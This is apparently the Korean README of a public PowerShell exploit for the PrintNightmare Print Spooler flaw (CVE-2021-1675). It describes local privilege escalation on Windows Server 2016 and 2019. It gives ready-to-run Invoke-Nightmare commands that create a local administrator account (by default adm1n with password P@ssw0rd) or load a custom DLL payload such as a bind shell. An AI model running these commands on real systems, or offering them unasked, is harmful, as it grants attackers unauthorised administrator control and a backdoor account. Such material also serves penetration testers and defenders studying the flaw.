
CVE-2021-1675 (PrintNightmare)에 대한 PowerShell 익스플로잇으로, Print Spooler를 통해 로컬 권한 상승을 수행하며, 사용자 정의 DLL 페이로드 주입 및 로컬 관리자 그룹에 사용자 생성을 포함합니다.
Caleb Stewart | John Hammond | 2021년 6월 1일
CVE-2021-1675는 "PrintNightmare"라고 불리는 중요한 원격 코드 실행 및 로컬 권한 상승 취약점입니다.
원격 코드 실행 기능에 대한 개념 증명 익스플로잇이 (Python, C++) 공개되었으며, 로컬 권한 상승을 위한 C# 버전도 있습니다. 우리는 순수 PowerShell로 구현된 네이티브 버전을 본 적이 없었고, 익스플로잇을 개선하고 재구성해 보고자 했습니다.
이 PowerShell 스크립트는 PrintNightmare 공격 기술을 사용하여 로컬 권한 상승(LPE)을 수행합니다.

이 스크립트는 Windows Server 2016 및 Windows Server 2019에서 테스트되었습니다.
기본적으로 로컬 관리자 그룹에 새 사용자를 추가합니다:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
사용자 정의 DLL 페이로드를 제공하여 다른 작업을 수행할 수 있습니다.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"